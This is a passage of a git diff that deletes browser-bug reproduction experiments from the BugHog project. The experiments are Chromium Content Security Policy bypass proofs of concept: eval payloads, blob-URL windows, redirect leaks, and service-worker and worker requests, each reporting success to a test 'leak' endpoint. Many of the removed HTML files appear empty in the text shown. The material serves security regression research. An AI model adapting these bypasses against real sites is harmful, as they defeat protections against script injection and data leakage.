failed experiments and potential problems in the automation process. - - -## Resources - -The `res` folder is intended to host resources shared between projects (e.g., images, videos, scripts). -All resources are hosted on each supported domain. - -The example resource `experiments/res/example.html` is hosted at the endpoints `https://[domain]/res/example.html`, where `[domain]` can be any supported domain. - - -## Additional help - -If you have questions, need assistance with adding experiments or wish to request new functionality, don't hesitate to open a [GitHub issue](https://github.com/DistriNet/BugHog/issues/new). -We're here to help! diff --git a/experiments/pages/CSP/c1001283/a.test/helper/headers.json b/experiments/pages/CSP/c1001283/a.test/helper/headers.json deleted file mode 100644 index 715e8676..00000000 --- a/experiments/pages/CSP/c1001283/a.test/helper/headers.json +++ /dev/null @@ -1,7 +0,0 @@ -[{ - "key": "Content-Security-Policy", - "value": "script-src 'none'" -}, { - "key": "X-XSS-Protection", - "value": "0" -}] \ No newline at end of file diff --git a/experiments/pages/CSP/c1001283/a.test/helper/index.html b/experiments/pages/CSP/c1001283/a.test/helper/index.html deleted file mode 100644 index a62a1c38..00000000 --- a/experiments/pages/CSP/c1001283/a.test/helper/index.html +++ /dev/null @@ -1,14 +0,0 @@ - - - - - You can't XSS me - - - - - - - diff --git a/experiments/pages/CSP/c1001283/leak.test/main/index.html b/experiments/pages/CSP/c1001283/leak.test/main/index.html deleted file mode 100644 index 3fe7feff..00000000 --- a/experiments/pages/CSP/c1001283/leak.test/main/index.html +++ /dev/null @@ -1,13 +0,0 @@ - - - diff --git a/experiments/pages/CSP/c1001283/url_queue.txt b/experiments/pages/CSP/c1001283/url_queue.txt deleted file mode 100644 index e250936f..00000000 --- a/experiments/pages/CSP/c1001283/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://leak.test/CSP/c1001283/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/c1001982-img/a.test/main/headers.json b/experiments/pages/CSP/c1001982-img/a.test/main/headers.json deleted file mode 100644 index a5223f6d..00000000 --- a/experiments/pages/CSP/c1001982-img/a.test/main/headers.json +++ /dev/null @@ -1,7 +0,0 @@ -[{ - "key": "Content-Security-Policy", - "value": "img-src 'none'; script-src 'nonce-test'" -}, { - "key": "X-XSS-Protection", - "value": "0" -}] \ No newline at end of file diff --git a/experiments/pages/CSP/c1001982-img/a.test/main/index.html b/experiments/pages/CSP/c1001982-img/a.test/main/index.html deleted file mode 100644 index aeb9f1d5..00000000 --- a/experiments/pages/CSP/c1001982-img/a.test/main/index.html +++ /dev/null @@ -1,9 +0,0 @@ - - diff --git a/experiments/pages/CSP/c1001982/leak.test/helper/index.html b/experiments/pages/CSP/c1001982/leak.test/helper/index.html deleted file mode 100644 index 732651b8..00000000 --- a/experiments/pages/CSP/c1001982/leak.test/helper/index.html +++ /dev/null @@ -1,3 +0,0 @@ - \ No newline at end of file diff --git a/experiments/pages/CSP/c1064676/leak.test/helper/index.js b/experiments/pages/CSP/c1064676/leak.test/helper/index.js deleted file mode 100644 index 02786185..00000000 --- a/experiments/pages/CSP/c1064676/leak.test/helper/index.js +++ /dev/null @@ -1,25 +0,0 @@ -(function () { - var payload = ` - top.SUCCESS = true; - - var o = document.createElement("object"); - o.data = \`https://a.test/report/?leak=c1064676-object\`; - document.body.appendChild(o); - - var i = document.createElement("iframe"); - i.src = \`https://a.test/report/?leak=c1064676-iframe\`; - document.body.appendChild(i); - - var s = document.createElement("script"); - s.src = \`https://a.test/report/?leak=c1064676-script\`; - document.body.appendChild(s); - `; - - document.body.innerHTML += - ""; - setTimeout(function () { - if (!top.SUCCESS) { - XXX.contentWindow.eval(payload); - } - }, 500); -})(); diff --git a/experiments/pages/CSP/c1064676/leak.test/main/headers.json b/experiments/pages/CSP/c1064676/leak.test/main/headers.json deleted file mode 100644 index a1c2cfa7..00000000 --- a/experiments/pages/CSP/c1064676/leak.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "default-src 'self'; object-src 'none'; child-src 'none'; script-src 'self' 'unsafe-inline'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c1064676/leak.test/main/index.html b/experiments/pages/CSP/c1064676/leak.test/main/index.html deleted file mode 100644 index b9522932..00000000 --- a/experiments/pages/CSP/c1064676/leak.test/main/index.html +++ /dev/null @@ -1,7 +0,0 @@ - - - - - - - \ No newline at end of file diff --git a/experiments/pages/CSP/c1064676/url_queue.txt b/experiments/pages/CSP/c1064676/url_queue.txt deleted file mode 100644 index 31768eb8..00000000 --- a/experiments/pages/CSP/c1064676/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://leak.test/CSP/c1064676/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/c1072719/url_queue.txt b/experiments/pages/CSP/c1072719/url_queue.txt deleted file mode 100644 index 80fdbfe9..00000000 --- a/experiments/pages/CSP/c1072719/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://leak.test/CSP/c1072719/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/c1074317/a.test/helper/headers.json b/experiments/pages/CSP/c1074317/a.test/helper/headers.json deleted file mode 100644 index 0e3aaf85..00000000 --- a/experiments/pages/CSP/c1074317/a.test/helper/headers.json +++ /dev/null @@ -1,10 +0,0 @@ -[ - { - "key": "status", - "value": "302" - }, - { - "key": "Location", - "value": "script?secret_info=123" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c1074317/a.test/helper/index.html b/experiments/pages/CSP/c1074317/a.test/helper/index.html deleted file mode 100644 index e69de29b..00000000 diff --git a/experiments/pages/CSP/c1074317/a.test/main/headers.json b/experiments/pages/CSP/c1074317/a.test/main/headers.json deleted file mode 100644 index 85e0ea55..00000000 --- a/experiments/pages/CSP/c1074317/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy-Report-Only", - "value": "default-src 'self'; img-src 'self'; script-src 'self'; frame-src 'self'; report-uri /csp-rep" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c1074317/a.test/main/index.html b/experiments/pages/CSP/c1074317/a.test/main/index.html deleted file mode 100644 index d7e845ed..00000000 --- a/experiments/pages/CSP/c1074317/a.test/main/index.html +++ /dev/null @@ -1,25 +0,0 @@ - - - - - - diff --git a/experiments/pages/CSP/c1074317/a.test/script/index.js b/experiments/pages/CSP/c1074317/a.test/script/index.js deleted file mode 100644 index a22cfc35..00000000 --- a/experiments/pages/CSP/c1074317/a.test/script/index.js +++ /dev/null @@ -1,19 +0,0 @@ -"use strict"; - -var throw_func = function throw_func() { - throw TypeError("SomeError"); -}; - -var draw_image = function draw_image() { - var img = document.createElement("img"); - img.src = - "https://www.gstatic.com/images/branding/googlelogo/2x/googlelogo_dark_color_84x28dp.png"; - document.body.appendChild(img); -}; - -setTimeout(function () { - var error_message = document.getElementsByTagName("p")[0].innerHTML; - if (error_message.indexOf("secret_info=123") > -1) { - document.location.href = "https://a.test/report/?leak=c1074317"; - } -}, 1000); diff --git a/experiments/pages/CSP/c1107824/a.test/helper/headers.json b/experiments/pages/CSP/c1107824/a.test/helper/headers.json deleted file mode 100644 index c7a9a66d..00000000 --- a/experiments/pages/CSP/c1107824/a.test/helper/headers.json +++ /dev/null @@ -1,4 +0,0 @@ -[{ - "key": "Content-Security-Policy", - "value": "default-src 'unsafe-inline'" -}] \ No newline at end of file diff --git a/experiments/pages/CSP/c1107824/a.test/helper/index.html b/experiments/pages/CSP/c1107824/a.test/helper/index.html deleted file mode 100644 index 70d580ca..00000000 --- a/experiments/pages/CSP/c1107824/a.test/helper/index.html +++ /dev/null @@ -1,3 +0,0 @@ - diff --git a/experiments/pages/CSP/c1107824/a.test/main/headers.json b/experiments/pages/CSP/c1107824/a.test/main/headers.json deleted file mode 100644 index affc29fa..00000000 --- a/experiments/pages/CSP/c1107824/a.test/main/headers.json +++ /dev/null @@ -1,4 +0,0 @@ -[{ - "key": "Content-Security-Policy", - "value": "default-src 'none'; script-src 'unsafe-inline'; frame-src 'self'" -}] \ No newline at end of file diff --git a/experiments/pages/CSP/c1107824/a.test/main/index.html b/experiments/pages/CSP/c1107824/a.test/main/index.html deleted file mode 100644 index ea2b5432..00000000 --- a/experiments/pages/CSP/c1107824/a.test/main/index.html +++ /dev/null @@ -1 +0,0 @@ - diff --git a/experiments/pages/CSP/c1107824/url_queue.txt b/experiments/pages/CSP/c1107824/url_queue.txt deleted file mode 100644 index f27b8c0f..00000000 --- a/experiments/pages/CSP/c1107824/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://a.test/CSP/c1107824 -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/c1109167/a.test/main/headers.json b/experiments/pages/CSP/c1109167/a.test/main/headers.json deleted file mode 100644 index 8608bd73..00000000 --- a/experiments/pages/CSP/c1109167/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "script-src 'nonce-1337'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c1109167/a.test/main/index.html b/experiments/pages/CSP/c1109167/a.test/main/index.html deleted file mode 100644 index 1cb41d94..00000000 --- a/experiments/pages/CSP/c1109167/a.test/main/index.html +++ /dev/null @@ -1,11 +0,0 @@ - - diff --git a/experiments/pages/CSP/c1109167/url_queue.txt b/experiments/pages/CSP/c1109167/url_queue.txt deleted file mode 100644 index e210cc51..00000000 --- a/experiments/pages/CSP/c1109167/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://a.test/CSP/c1109167/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/c1115045-img/leak.test/main/headers.json b/experiments/pages/CSP/c1115045-img/leak.test/main/headers.json deleted file mode 100644 index 92c7e0ea..00000000 --- a/experiments/pages/CSP/c1115045-img/leak.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "img-src 'none'; script-src 'self' 'unsafe-inline'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c1115045-img/leak.test/main/index.html b/experiments/pages/CSP/c1115045-img/leak.test/main/index.html deleted file mode 100644 index 10afb832..00000000 --- a/experiments/pages/CSP/c1115045-img/leak.test/main/index.html +++ /dev/null @@ -1,5 +0,0 @@ - diff --git a/experiments/pages/CSP/c1115045/leak.test/main/headers.json b/experiments/pages/CSP/c1115045/leak.test/main/headers.json deleted file mode 100644 index 29dd9f8c..00000000 --- a/experiments/pages/CSP/c1115045/leak.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "script-src 'self' 'unsafe-inline'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c1115045/leak.test/main/index.html b/experiments/pages/CSP/c1115045/leak.test/main/index.html deleted file mode 100644 index 46ab6c33..00000000 --- a/experiments/pages/CSP/c1115045/leak.test/main/index.html +++ /dev/null @@ -1,6 +0,0 @@ - diff --git a/experiments/pages/CSP/c1115045/url_queue.txt b/experiments/pages/CSP/c1115045/url_queue.txt deleted file mode 100644 index de2ceb11..00000000 --- a/experiments/pages/CSP/c1115045/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://leak.test/CSP/c1115045/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/c1115298-img/a.test/helper/index.html b/experiments/pages/CSP/c1115298-img/a.test/helper/index.html deleted file mode 100644 index 061f3dbb..00000000 --- a/experiments/pages/CSP/c1115298-img/a.test/helper/index.html +++ /dev/null @@ -1,3 +0,0 @@ - \ No newline at end of file diff --git a/experiments/pages/CSP/c1115298-img/leak.test/helper/index.js b/experiments/pages/CSP/c1115298-img/leak.test/helper/index.js deleted file mode 100644 index f5605087..00000000 --- a/experiments/pages/CSP/c1115298-img/leak.test/helper/index.js +++ /dev/null @@ -1,10 +0,0 @@ -const blob = new Blob( - [ - "", - ], - { type: "text/html" } -); - -onload = function () { - open(URL.createObjectURL(blob)); -}; diff --git a/experiments/pages/CSP/c1115298-img/leak.test/main/index.html b/experiments/pages/CSP/c1115298-img/leak.test/main/index.html deleted file mode 100644 index ad32a4a0..00000000 --- a/experiments/pages/CSP/c1115298-img/leak.test/main/index.html +++ /dev/null @@ -1,14 +0,0 @@ - - - - - -

-

-
- Click on the page to bypass the CSP. -
-

- - - \ No newline at end of file diff --git a/experiments/pages/CSP/c1115298/a.test/helper/index.html b/experiments/pages/CSP/c1115298/a.test/helper/index.html deleted file mode 100644 index 061f3dbb..00000000 --- a/experiments/pages/CSP/c1115298/a.test/helper/index.html +++ /dev/null @@ -1,3 +0,0 @@ - \ No newline at end of file diff --git a/experiments/pages/CSP/c1115298/leak.test/helper/index.js b/experiments/pages/CSP/c1115298/leak.test/helper/index.js deleted file mode 100644 index 82004d91..00000000 --- a/experiments/pages/CSP/c1115298/leak.test/helper/index.js +++ /dev/null @@ -1,10 +0,0 @@ -const blob = new Blob( - [ - "", - ], - { type: "text/html" } -); - -onload = function () { - open(URL.createObjectURL(blob)); -}; diff --git a/experiments/pages/CSP/c1115298/leak.test/main/index.html b/experiments/pages/CSP/c1115298/leak.test/main/index.html deleted file mode 100644 index c0b31688..00000000 --- a/experiments/pages/CSP/c1115298/leak.test/main/index.html +++ /dev/null @@ -1,14 +0,0 @@ - - - - - -

-

-
- Click on the page to bypass the CSP. -
-

- - - \ No newline at end of file diff --git a/experiments/pages/CSP/c1115298/url_queue.txt b/experiments/pages/CSP/c1115298/url_queue.txt deleted file mode 100644 index 082cc5a7..00000000 --- a/experiments/pages/CSP/c1115298/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://leak.test/CSP/c1115298/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/c1115628-WebKitBlob/a.test/helper/headers.json b/experiments/pages/CSP/c1115628-WebKitBlob/a.test/helper/headers.json deleted file mode 100644 index b42c9cfa..00000000 --- a/experiments/pages/CSP/c1115628-WebKitBlob/a.test/helper/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "default-src 'none'; script-src 'unsafe-inline'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c1115628-WebKitBlob/a.test/helper/index.html b/experiments/pages/CSP/c1115628-WebKitBlob/a.test/helper/index.html deleted file mode 100644 index 91768bf4..00000000 --- a/experiments/pages/CSP/c1115628-WebKitBlob/a.test/helper/index.html +++ /dev/null @@ -1,8 +0,0 @@ - - diff --git a/experiments/pages/CSP/c1115628-WebKitBlob/a.test/secret/index.html b/experiments/pages/CSP/c1115628-WebKitBlob/a.test/secret/index.html deleted file mode 100644 index 536aca34..00000000 --- a/experiments/pages/CSP/c1115628-WebKitBlob/a.test/secret/index.html +++ /dev/null @@ -1 +0,0 @@ -secret \ No newline at end of file diff --git a/experiments/pages/CSP/c1115628-WebKitBlob/leak.test/main/index.html b/experiments/pages/CSP/c1115628-WebKitBlob/leak.test/main/index.html deleted file mode 100644 index 92a29571..00000000 --- a/experiments/pages/CSP/c1115628-WebKitBlob/leak.test/main/index.html +++ /dev/null @@ -1,5 +0,0 @@ - - diff --git a/experiments/pages/CSP/c1115628-WebKitBlob/url_queue.txt b/experiments/pages/CSP/c1115628-WebKitBlob/url_queue.txt deleted file mode 100644 index 7606f320..00000000 --- a/experiments/pages/CSP/c1115628-WebKitBlob/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://leak.test/CSP/c1115628-WebKitBlob/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/c1115628-img/a.test/helper/headers.json b/experiments/pages/CSP/c1115628-img/a.test/helper/headers.json deleted file mode 100644 index b42c9cfa..00000000 --- a/experiments/pages/CSP/c1115628-img/a.test/helper/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "default-src 'none'; script-src 'unsafe-inline'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c1115628-img/a.test/helper/index.html b/experiments/pages/CSP/c1115628-img/a.test/helper/index.html deleted file mode 100644 index 0bc3d0c9..00000000 --- a/experiments/pages/CSP/c1115628-img/a.test/helper/index.html +++ /dev/null @@ -1,8 +0,0 @@ - - diff --git a/experiments/pages/CSP/c1115628-img/a.test/secret/index.html b/experiments/pages/CSP/c1115628-img/a.test/secret/index.html deleted file mode 100644 index 536aca34..00000000 --- a/experiments/pages/CSP/c1115628-img/a.test/secret/index.html +++ /dev/null @@ -1 +0,0 @@ -secret \ No newline at end of file diff --git a/experiments/pages/CSP/c1115628-img/leak.test/main/index.html b/experiments/pages/CSP/c1115628-img/leak.test/main/index.html deleted file mode 100644 index 5d415203..00000000 --- a/experiments/pages/CSP/c1115628-img/leak.test/main/index.html +++ /dev/null @@ -1,5 +0,0 @@ - - diff --git a/experiments/pages/CSP/c1115628/a.test/helper/headers.json b/experiments/pages/CSP/c1115628/a.test/helper/headers.json deleted file mode 100644 index b42c9cfa..00000000 --- a/experiments/pages/CSP/c1115628/a.test/helper/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "default-src 'none'; script-src 'unsafe-inline'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c1115628/a.test/helper/index.html b/experiments/pages/CSP/c1115628/a.test/helper/index.html deleted file mode 100644 index 44c36c8b..00000000 --- a/experiments/pages/CSP/c1115628/a.test/helper/index.html +++ /dev/null @@ -1,8 +0,0 @@ - - diff --git a/experiments/pages/CSP/c1115628/a.test/secret/index.html b/experiments/pages/CSP/c1115628/a.test/secret/index.html deleted file mode 100644 index 536aca34..00000000 --- a/experiments/pages/CSP/c1115628/a.test/secret/index.html +++ /dev/null @@ -1 +0,0 @@ -secret \ No newline at end of file diff --git a/experiments/pages/CSP/c1115628/leak.test/main/index.html b/experiments/pages/CSP/c1115628/leak.test/main/index.html deleted file mode 100644 index a3b2dcfc..00000000 --- a/experiments/pages/CSP/c1115628/leak.test/main/index.html +++ /dev/null @@ -1,5 +0,0 @@ - - diff --git a/experiments/pages/CSP/c1115628/url_queue.txt b/experiments/pages/CSP/c1115628/url_queue.txt deleted file mode 100644 index df687e2d..00000000 --- a/experiments/pages/CSP/c1115628/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://leak.test/CSP/c1115628/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/c1117687/a.test/main/headers.json b/experiments/pages/CSP/c1117687/a.test/main/headers.json deleted file mode 100644 index 71cdc487..00000000 --- a/experiments/pages/CSP/c1117687/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "default-src 'none'; script-src 'unsafe-inline'; frame-src https://leak.test" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c1117687/a.test/main/index.html b/experiments/pages/CSP/c1117687/a.test/main/index.html deleted file mode 100644 index 6d7c7bdf..00000000 --- a/experiments/pages/CSP/c1117687/a.test/main/index.html +++ /dev/null @@ -1,32 +0,0 @@ - - - diff --git a/experiments/pages/CSP/c1117687/a.test/secret/headers.json b/experiments/pages/CSP/c1117687/a.test/secret/headers.json deleted file mode 100644 index 71cdc487..00000000 --- a/experiments/pages/CSP/c1117687/a.test/secret/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "default-src 'none'; script-src 'unsafe-inline'; frame-src https://leak.test" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c1117687/a.test/secret/index.html b/experiments/pages/CSP/c1117687/a.test/secret/index.html deleted file mode 100644 index 353b74b3..00000000 --- a/experiments/pages/CSP/c1117687/a.test/secret/index.html +++ /dev/null @@ -1 +0,0 @@ -fetching this is normally blocked by CSP \ No newline at end of file diff --git a/experiments/pages/CSP/c1117687/leak.test/main/index.html b/experiments/pages/CSP/c1117687/leak.test/main/index.html deleted file mode 100644 index 189b86cf..00000000 --- a/experiments/pages/CSP/c1117687/leak.test/main/index.html +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/experiments/pages/CSP/c1117687/url_queue.txt b/experiments/pages/CSP/c1117687/url_queue.txt deleted file mode 100644 index 5195f28f..00000000 --- a/experiments/pages/CSP/c1117687/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://a.test/CSP/c1117687/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/c1180759/a.test/main/headers.json b/experiments/pages/CSP/c1180759/a.test/main/headers.json deleted file mode 100644 index 553b3e52..00000000 --- a/experiments/pages/CSP/c1180759/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "sandbox allow-scripts allow-same-origin" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c1180759/a.test/main/index.html b/experiments/pages/CSP/c1180759/a.test/main/index.html deleted file mode 100644 index 049cf1b9..00000000 --- a/experiments/pages/CSP/c1180759/a.test/main/index.html +++ /dev/null @@ -1,28 +0,0 @@ - - - - -
- -
- - - - - diff --git a/experiments/pages/CSP/c1233067/a.test/main/index.html b/experiments/pages/CSP/c1233067/a.test/main/index.html deleted file mode 100644 index c54515ff..00000000 --- a/experiments/pages/CSP/c1233067/a.test/main/index.html +++ /dev/null @@ -1,20 +0,0 @@ - - - - Example - - - - - - diff --git a/experiments/pages/CSP/c1233067/url_queue.txt b/experiments/pages/CSP/c1233067/url_queue.txt deleted file mode 100644 index 6fd5f11e..00000000 --- a/experiments/pages/CSP/c1233067/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://a.test/CSP/c1233067/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/c1248289/a.test/helper/headers.json b/experiments/pages/CSP/c1248289/a.test/helper/headers.json deleted file mode 100644 index 703ceae6..00000000 --- a/experiments/pages/CSP/c1248289/a.test/helper/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "script-src 'self'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c1248289/a.test/helper/index.js b/experiments/pages/CSP/c1248289/a.test/helper/index.js deleted file mode 100644 index 77608b10..00000000 --- a/experiments/pages/CSP/c1248289/a.test/helper/index.js +++ /dev/null @@ -1,16 +0,0 @@ -"use strict"; - -self.addEventListener("install", function (e) { - return e.waitUntil(self.skipWaiting()); -}); -self.addEventListener("activate", async function (e) { - try { - var instance = await WebAssembly.instantiate( - new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0]) - ); - console.log("wasm succeeded in service worker"); - fetch("https://a.test/report/?leak=c1248289"); - } catch (e) { - console.log("wasm failed in service worker " + e); - } -}); diff --git a/experiments/pages/CSP/c1248289/a.test/main/headers.json b/experiments/pages/CSP/c1248289/a.test/main/headers.json deleted file mode 100644 index 29dd9f8c..00000000 --- a/experiments/pages/CSP/c1248289/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "script-src 'self' 'unsafe-inline'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c1248289/a.test/main/index.html b/experiments/pages/CSP/c1248289/a.test/main/index.html deleted file mode 100644 index 4f6b7c69..00000000 --- a/experiments/pages/CSP/c1248289/a.test/main/index.html +++ /dev/null @@ -1,11 +0,0 @@ - - - - \ No newline at end of file diff --git a/experiments/pages/CSP/c1248289/url_queue.txt b/experiments/pages/CSP/c1248289/url_queue.txt deleted file mode 100644 index 323c8390..00000000 --- a/experiments/pages/CSP/c1248289/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://a.test/CSP/c1248289/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/c1259077/a.test/helper/headers.json b/experiments/pages/CSP/c1259077/a.test/helper/headers.json deleted file mode 100644 index 9ab7b9d5..00000000 --- a/experiments/pages/CSP/c1259077/a.test/helper/headers.json +++ /dev/null @@ -1,10 +0,0 @@ -[ - { - "key": "status", - "value": "302" - }, - { - "key": "Location", - "value": "https://forbidden-domain.xyz" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c1259077/a.test/helper/index.html b/experiments/pages/CSP/c1259077/a.test/helper/index.html deleted file mode 100644 index e69de29b..00000000 diff --git a/experiments/pages/CSP/c1259077/leak.test/main/headers.json b/experiments/pages/CSP/c1259077/leak.test/main/headers.json deleted file mode 100644 index 55b4acc6..00000000 --- a/experiments/pages/CSP/c1259077/leak.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "form-action 'a.test'" - } -] diff --git a/experiments/pages/CSP/c1259077/leak.test/main/index.html b/experiments/pages/CSP/c1259077/leak.test/main/index.html deleted file mode 100644 index cda73a94..00000000 --- a/experiments/pages/CSP/c1259077/leak.test/main/index.html +++ /dev/null @@ -1,15 +0,0 @@ - - - - - - -
- - - diff --git a/experiments/pages/CSP/c1291482/leak.test/main/headers.json b/experiments/pages/CSP/c1291482/leak.test/main/headers.json deleted file mode 100644 index 38db09f9..00000000 --- a/experiments/pages/CSP/c1291482/leak.test/main/headers.json +++ /dev/null @@ -1,10 +0,0 @@ -[ - { - "key": "status", - "value": "100" - }, - { - "key": "Content-Security-Policy", - "value": "frame-src 'none'; img-src 'none'; script-src 'none'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c1291482/leak.test/main/index.html b/experiments/pages/CSP/c1291482/leak.test/main/index.html deleted file mode 100644 index baef3ebf..00000000 --- a/experiments/pages/CSP/c1291482/leak.test/main/index.html +++ /dev/null @@ -1,5 +0,0 @@ - - - - - diff --git a/experiments/pages/CSP/c1329460/leak.test/main/headers.json b/experiments/pages/CSP/c1329460/leak.test/main/headers.json deleted file mode 100644 index d611dafe..00000000 --- a/experiments/pages/CSP/c1329460/leak.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "default-src 'unsafe-inline' 'strict-dynamic'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c1329460/leak.test/main/index.html b/experiments/pages/CSP/c1329460/leak.test/main/index.html deleted file mode 100644 index b0452247..00000000 --- a/experiments/pages/CSP/c1329460/leak.test/main/index.html +++ /dev/null @@ -1,3 +0,0 @@ - diff --git a/experiments/pages/CSP/c1339146/leak.test/helper/index.js b/experiments/pages/CSP/c1339146/leak.test/helper/index.js deleted file mode 100644 index 5e9bd496..00000000 --- a/experiments/pages/CSP/c1339146/leak.test/helper/index.js +++ /dev/null @@ -1 +0,0 @@ -window.onload = function () {GGGGGybmuVGGGGG.click();}; \ No newline at end of file diff --git a/experiments/pages/CSP/c1339146/leak.test/main/headers.json b/experiments/pages/CSP/c1339146/leak.test/main/headers.json deleted file mode 100644 index aa275136..00000000 --- a/experiments/pages/CSP/c1339146/leak.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "script-src-elem 'sha256-aa' https://leak.test ;" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c1339146/leak.test/main/index.html b/experiments/pages/CSP/c1339146/leak.test/main/index.html deleted file mode 100644 index d445ae7e..00000000 --- a/experiments/pages/CSP/c1339146/leak.test/main/index.html +++ /dev/null @@ -1,13 +0,0 @@ - - - - - - - Click! - - diff --git a/experiments/pages/CSP/c320796/a.test/main/headers.json b/experiments/pages/CSP/c320796/a.test/main/headers.json deleted file mode 100644 index 37a5d0f8..00000000 --- a/experiments/pages/CSP/c320796/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "object-src data:;" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c320796/a.test/main/index.html b/experiments/pages/CSP/c320796/a.test/main/index.html deleted file mode 100644 index d9e5ab87..00000000 --- a/experiments/pages/CSP/c320796/a.test/main/index.html +++ /dev/null @@ -1,8 +0,0 @@ - - - diff --git a/experiments/pages/CSP/c358471/leak.test/helper/headers.json b/experiments/pages/CSP/c358471/leak.test/helper/headers.json deleted file mode 100644 index 0c5568c5..00000000 --- a/experiments/pages/CSP/c358471/leak.test/helper/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "connect-src 'self'; script-src 'self' 'unsafe-inline'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c358471/leak.test/helper/index.html b/experiments/pages/CSP/c358471/leak.test/helper/index.html deleted file mode 100644 index 11b44467..00000000 --- a/experiments/pages/CSP/c358471/leak.test/helper/index.html +++ /dev/null @@ -1,4 +0,0 @@ - \ No newline at end of file diff --git a/experiments/pages/CSP/c358471/leak.test/main/index.html b/experiments/pages/CSP/c358471/leak.test/main/index.html deleted file mode 100644 index c8aedc49..00000000 --- a/experiments/pages/CSP/c358471/leak.test/main/index.html +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/experiments/pages/CSP/c358471/leak.test/worker/headers.json b/experiments/pages/CSP/c358471/leak.test/worker/headers.json deleted file mode 100644 index 0c5568c5..00000000 --- a/experiments/pages/CSP/c358471/leak.test/worker/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "connect-src 'self'; script-src 'self' 'unsafe-inline'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c358471/leak.test/worker/index.js b/experiments/pages/CSP/c358471/leak.test/worker/index.js deleted file mode 100644 index 86f9845c..00000000 --- a/experiments/pages/CSP/c358471/leak.test/worker/index.js +++ /dev/null @@ -1,13 +0,0 @@ -onmessage = function (event) { - function reqListener() { - postMessage("worker:pong"); - } - try { - var oReq = new XMLHttpRequest(); - oReq.onload = reqListener; - oReq.open("get", "https://a.test/report/?leak=c358471-xhr", true); - oReq.send(); - } catch (e) {} - - 